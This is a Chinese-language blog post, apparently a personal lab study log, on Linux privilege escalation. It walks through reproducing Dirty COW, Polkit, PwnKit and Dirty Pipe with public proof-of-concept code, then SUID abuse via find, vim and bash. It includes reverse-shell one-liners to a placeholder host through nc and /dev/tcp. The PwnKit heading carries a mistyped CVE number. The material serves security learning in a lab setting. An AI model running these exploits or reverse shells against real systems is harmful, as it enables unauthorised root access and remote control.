内网权限提升系统学习(linux)

发布时间 2023-09-28 23:25:26作者: BattleofZhongDinghe

内网权限提升系统学习(linux)

内核漏洞利用

1.dirtyCOW(CVE-2016-5195)脏牛漏洞
影响范围:Linux内核>=2.6.22
1)前期准备
下载镜像 https://archive.kernel.org/centos-vault/6.0/isos/x86_64/CentOS-6.0-x86_64-LiveDVD.iso
ps:尽量别关机,就挂起
下载poc https://github.com/FireFart/dirtycow
经过测试,安装了vmtools后崩了,所以用ssh服务(或者rz命令)将脏牛代码发送到虚拟机内(注意要用普通用户权限上传代码)
开启ssh服务

service sshd start

关闭防火墙

service iptables stop

可以关机设置一个快照
然后可以用ssh连接工具(xshell等)连接
换源,将下述内容保存为CentOS-Base.repo,用ssh连接工具上传到centos6中,将/etc/yum.repos.d/CentOS-Base.repo备份,然后替换源文件

[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/updates/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/extras/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/centosplus/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/contrib/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

生成缓存

yum makecache 

安装gcc

yum install gcc -y

然后到这个地方在未关机的状态创建一个快照
2)漏洞复现
用普通用户上传poc,然后编译

gcc -pthread dirty.c -o dirty -lcrypt


查看当前用户 普通权限

id


查看内核版本

uname -a


开始漏洞利用

./dirty

或者

 ./dirty newpassword


然后

su firefart 

查看权限

id


发现root用户没了

cat /etc/passwd



恢复

mv /tmp/passwd.bak /etc/passwd
y

这样又会有root用户,需要重新设置一下密码,但是ssh服务好像出些问题了

passwd root

2.Polkit(CVE-2021-3560)
影响版本:
RHEL8
Fedora21(orlater)
Debiantesting("bullseye")
Ubuntu20.04
1)前期准备
下载poc
https://github.com/Almorabea/Polkit-exploit
系统镜像(经过测试复现脏牛漏洞的centos6这个漏洞没复现成功)
http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2.0-desktop-amd64.iso
安装ssh服务,便于上传poc

apt install ssh
systemctl start ssh
systemctl enable ssh

关闭防火墙

systemctl stop ufw
systemctl disable ufw

关机,创建一个快照
2)漏洞复现
使用ssh服务上传poc

python3 CVE-2021-3560.py


3.PwnKit(CVE-2021-4043)
1)前期准备
下载poc https://github.com/arthepsy/CVE-2021-4034
系统用复现脏牛漏洞的centos6就行了,但要恢复到安装gcc后的那个快照,复现脏牛漏洞后系统感觉出现些问题
2)漏洞复现
普通用户上传poc
查看权限

id

编译

gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

执行

./cve-2021-4034-poc

查看权限

id


4.DirtyPipe(CVE-2022-0847)
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
1)前期准备
系统下载 https://mirrors.aliyun.com/ubuntu-releases/bionic/ubuntu-18.04.6-desktop-amd64.iso
其中自带了python3.6
安装pip3

apt install python3-pip

在本机里下载https://github.com/brant-ruan/metarget.git,然后因为安装了vmtools,所以可以直接拖进去

pip3 install -r requirements.txt -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com

然后启动漏洞环境

sudo ./metarget cnv install cve-2022-0847


重启,查看内核版本确保漏洞环境搭建成功

uname -r


2)漏洞复现
获取poc

wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez


这个poc需要事先找到一个具有SUID权限的可执行文件,然后利用这个文件进行提权
利用如下命令找到具有SUID权限的可执行文件

find / -perm -u=s -type f 2>/dev/null


然后执行

./dirtypipez /bin/su 


5.linux-exploit-suggester-2
1)前期准备
下载poc https://github.com/jondonas/linux-exploit-suggester-2
系统采用复现脏牛漏洞的centos6
2)漏掉利用
使用ssh服务上传poc
执行

chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl

权限机制滥用

1.SUID提权
现在目标是读到/root/flag.txt,但是现在的权限是普通权限
常见查看SUID文件的命令

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 


1)find提权
配置权限

chmod u+s /usr/bin/find

查看SUID文件

find / -user root -perm 4000 -print 2>/dev/null


在tmp目录下创建一个文件

cd /tmp
touch 1


或者进入交互式shell

find 1 -exec '/bin/sh' \;

但失败了

或者反弹shell
nc出现了报错

解决:
在root下

update-alternatives --config nc

find 1 -exec nc xxx 6666  -e /bin/bash \;
find 1 -exec bash -c 'bash -i >& /dev/tcp/xxx/6666 0>&1' \;

也失败了

2)vim提权
配置权限

chmod u+s /usr/bin/vim

3)nmap
4)more less
5)nano
6)bash
配置权限

chmod u+s /usr/bin/bash

然后普通用户提权

bash -p 


7)awk
8)curl

配置缺陷利用

敏感文件利用

应用服务提权

参考文章

https://l0n9w4y.cc/posts/29809/